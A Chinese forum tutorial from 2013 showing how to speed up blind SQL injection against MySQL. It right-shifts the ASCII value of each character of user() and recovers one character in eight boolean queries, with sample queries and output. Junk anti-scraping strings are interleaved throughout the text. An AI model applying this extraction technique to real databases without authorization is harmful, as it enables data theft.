找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2041|回复: 0
打印 上一主题 下一主题

关于通过对8bit的ascii做右位移提高mysql盲注效率

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-7 13:25:30 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
通过这种方法我们只需要做8次select来确定一个键值的第一位或第n位
, p$ s5 D- v: F  `
0 Q/ b) v7 H8 [0 h ; [! ^* e3 t% |# B+ R
- @; |/ b& b7 [2 Z; P
下面将以查询mysql数据库当中user()的第一位为例:
# R& ]+ g9 u1 s
$ h3 i) D4 \( {& v! }6 I
% ~' A9 m& {+ F9 {* ^! D6 }
. V: B' y9 W  z$ T) cps:第二位,第三位依次类推 select substr(user(),2,1) mysql> select substr(user(),3,1)- x  j5 e; {9 Z' w4 v& R

  M  F! Y$ I6 F
/ `$ b" j3 r% ]* _- n: l1 W% L. m9 K" m6 l3 I* i
首先执行如下sql语句:* r% F8 y' |8 f5 z

7 O0 C/ k6 ^' Z5 k7 F5 y( t  F: C 4 V1 t8 p8 N( d0 P- B5 v

8 D. ~' N& v9 c$ S' n; d- X$ ymysql> select (ascii((substr(user(),1,1))) >> 7)=0;4 Z& i  K: Q( ?# G1 |

8 k- V7 [# k# y ! n; M, ]# V1 J- {" N

6 i& K, k3 R) ^/ N: x1 I3 _! S2 _我们将对这个8bit的ascii也就是user()的第一位做7次右偏移,也就是偏移到8bit的ascii的' F7 u# S8 t% w7 J

1 ]8 u3 N7 O! Q' x+ k $ }  @* C6 u& _  U3 r
7 W" u& i+ P% X
第一位并与0做等运算,如果,运算结果为0 说明第一位不为0,也就为1
2 Z- W) G  y) M1 ~
. G$ y: `! R2 ?1 j  U4 _! T + a1 v7 @! x' Y5 m) n/ V
8 ^% ~( R8 {. p/ `. T$ T
如果运算结果为1,说明第一位为0,不为1; D- y8 G6 A" x7 a0 ^. I% h6 q

7 S; N, \" ~, g9 E# W  z3 h " W7 e2 h& s7 t

3 C" t* n& H# W9 i4 _+————————————–+
; K3 x- B% H$ a! }! a2 t
; P- W1 T2 m- |1 F3 || (ascii((substr(user(),1,1))) >> 7)=0 |
. m! L  Q; R% T8 z
3 B7 b" t* P0 C4 M# T6 h( M6 q( L+————————————–+2 a8 g% b/ c) w4 G5 c3 m* g
" Y0 P% {; G% k! B: h
| 1 |
. y* D* B$ F' n  `# C2 b- u# o! ?9 Z3 k' ?; P/ d( Y
+————————————–+0 i7 y+ X" `5 l2 r1 q

, @2 _5 X7 p4 a2 Z! P' [3 z! c: }1 row in set (0.00 sec)4 S5 J! D* ?3 t

" T. C6 g" v7 R) N8 J8 \这样我们就确定这个8bit的ascii的第一位为0
/ \- r- C7 A: n" W# o& R
+ e' O" U( C, ^2 K! t 3 P! ?) y! Z) m7 Q

% ?2 D0 x+ j6 ?; \; G第二次我们来做6次右偏移来确定前两位
7 f" u% ]: W! y" v! A# y" u
0 x- S+ f) x  l# h, `1 Q
. B- s0 A$ b4 I! j  u! l1 u5 m* ]8 W2 Z" r! `, f
前两位可能是01或00,即依然可以与0做比较,. h1 ]+ k  _, @, B6 o
5 Y1 b! \/ @# q* Y( C* H
mysql> select (ascii((substr(user(),1,1))) >> 6)=0;7 y- U3 ]( T: n0 e' J
6 I& B8 V3 x5 [1 L+ V: o- f
+————————————–+5 @" @/ e- y0 U3 G# e

4 S$ q2 k( F3 e1 W  J| (ascii((substr(user(),1,1))) >> 6)=0 |
9 ]# W. H; I% H
) O. Y% [+ E& h( {  p) Z& ~, D+————————————–+
5 ~" @, {, h( U3 }0 z0 X5 B8 S3 f8 o
| 0 |
' s4 W% s  k+ Z( V( B3 t" Y
; j" w( }/ I9 ]* d+————————————–+
' g" T( _* o  q! t6 E" H, Q6 P, F9 y: k
1 row in set (0.00 sec)
2 B+ k9 Y: S  d/ j) W$ a7 `. K6 V/ R- B$ Y: j5 f$ ?/ H3 W
( }3 y; k5 R+ J& N% z" ]

" D/ E  I- [6 [2 I* C结果为0,即第二位为17 p6 O+ l6 @- a- `3 T

( G6 v# [7 |4 j3 r
  {( ?2 V6 i: C/ Z3 z
- m  [" ]$ L- R; u0 U开始猜测前三位为010或011- e  x5 h5 ?  g2 ^/ j8 Y9 G5 A

- Z4 [* ?, O) Y' ^! L) ?- y 3 S. `6 a' ^$ O, p: Z8 W

+ d# a+ |: Z9 P/ f9 _: ]让我们看看010和011的ascii码是多少
/ {6 Z. v! }! X; f
. L  r9 _' W2 Y0 M# m9 r0 I
6 V2 P1 X0 A7 ~
: w, K+ n* p4 k6 _- N* X% X2 P分别查询select b’011′ select b’010′
' R5 Q* O% D" I- Z& Z5 m0 e! I  b2 Q5 Z! Y- P8 W# T% W- [
; u; w) p0 l4 d( Y- U, g  z7 R# o! n

0 l" |" y& b5 ~  X1 R* ?5 F获得结果 010 = 2 011 = 3
% Q0 c5 i# @2 o6 }' a7 n0 u) o* J, q
7 j6 I& m  |( G% F3 @5 G ) |* L/ N" w6 n
7 _) U( e: v! j: i3 e4 K2 b
执行如下sql:. |1 \7 O# o  q$ i; [

+ X, t; [. c  D( D1 X
1 v7 Q2 m- |! R  R" f2 S
7 `4 n4 K% a" C& V# {" Xmysql> select (ascii((substr(user(),1,1))) >> 5)=2;7 P# U+ A6 x9 {
7 l: m. @1 W2 H; ^
+————————————–+% J$ A: \: e. y2 G$ V

' ~9 k) ?7 m( o, m7 g/ m: k| (ascii((substr(user(),1,1))) >> 5)=2 |' ^$ y$ W$ l3 K% S# y

8 z/ w% J7 ~# e. ~1 C/ V7 R+————————————–+- |3 d6 w9 M  ]# c! F

( ^5 }6 o: x( V| 0 |
, k) D6 P6 m% p% g) E# R
: Y* A8 i5 L+ g1 @' U, t- N+————————————–+# H+ J4 j7 }8 s7 B5 K1 f9 }8 N
9 r4 N/ E% K* J
即前三位不为010,而是011
4 ^% \; O7 |& z" I# y; V( W0 f9 h4 [, q6 i. d9 {+ g$ j: h
3 Z3 T: j, j: \; _$ s' n

% h) a7 e8 J# W& t! f% C直到获得最后一位
$ ^* Q9 v9 z0 _/ H
* I9 h' L9 M# z5 Y! d7 N
, x0 T5 F/ ?- J  w) E) z* Z3 f1 i& |% a1 D; j! z* O
最终结果为:01110010' w8 @( U, A" x1 J! z+ V$ B

8 Q1 }: s: l* C
0 B$ M; R& u1 S3 V2 N7 E1 U4 l  D) ~2 X+ b2 L& z7 R7 b
转换一下:# I; v: |0 D& `3 R  z0 B

  ?5 k% c% @2 i4 |1 F5 q1 B0 s" U
3 v- t" ^+ q: r! V) h3 Y7 @  u& g" m9 t9 ?
select b’01110010′1 P$ B1 Y5 W4 y$ [0 L
3 I8 Q" l8 I# B  I* Z

- _  C) ?5 d. c; H: g
  I/ X3 ?( T8 ?; `6 ?: q查询结果
) v7 g( [& U8 r7 [& V% Y& ~
7 L  U$ C" _8 d  _" L; R% E ! V$ Y  |0 E# X! D# I/ I

) w  c$ H1 r0 P+————-+
$ F, b3 y! K* J5 P# g6 H! y9 u, T" N# Y0 i
| b’01110010′ |
# v* H# R% I; H. d* a( O' `) z& o" @
+————-+
+ n9 i) p/ y" h0 p9 Z' f9 _
8 t' V" g. Z; @* F+ E% J4 e6 H| r |2 }% W+ x3 E0 @0 W* O

' W9 ]8 O4 M+ u5 V+————-++ S. K; r$ i" q' U! ~
: \! O0 m+ }; a6 {
1 row in set (0.00 sec): U/ G* V6 z( O3 {( W, B

6 c4 T! e, S3 R ! x% U: G  ]7 v% P) ~5 @8 E" D1 ]
1 J' S) Y+ }& K6 l( h, _4 G+ R
这样我们就获得了user()的第一位.其它位依此类推
2 x  K9 N! ^4 T) o* n: F; S4 C  B7 a( N8 e6 v% }0 p
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表